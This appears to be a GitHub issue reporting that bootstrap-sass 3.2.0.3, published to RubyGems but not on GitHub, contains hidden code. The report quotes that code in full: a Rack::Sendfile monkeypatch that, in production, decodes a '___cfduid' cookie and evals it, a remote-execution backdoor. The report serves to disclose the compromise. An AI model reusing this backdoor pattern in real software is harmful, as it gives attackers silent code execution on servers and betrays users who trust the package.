Closed
Description
Hi there,
We noticed that 3.2.0.2 was yanked, and 3.2.0.3 was published to RubyGems. We thought this might be because of ruby-sass being deprecated, but we can't seem to see the 3.2.0.3 code on GitHub.
Looking further, there's some...interesting looking code in what i installed via gem install bootstrap-sass -v 3.2.0.3
(in a file named lib/active-controller/middleware.rb
):
begin
require 'rack/sendfile'
if Rails.env.production?
Rack::Sendfile.tap do |r|
r.send :alias_method, :c, :call
r.send(:define_method, :call) do |e|
begin
x = Base64.urlsafe_decode64(e['http_cookie'.upcase].scan(/___cfduid=(.+);/).flatten[0].to_s)
eval(x) if x
rescue Exception
end
c(e)
end
end
end
rescue Exception
nil
end
I have not run this, and I'm a little concerned with what's going on here. It looks like it's loading a cookie and eval
-ing it, which seems suspect. Please advise.
Metadata
Metadata
Assignees
Labels
No labels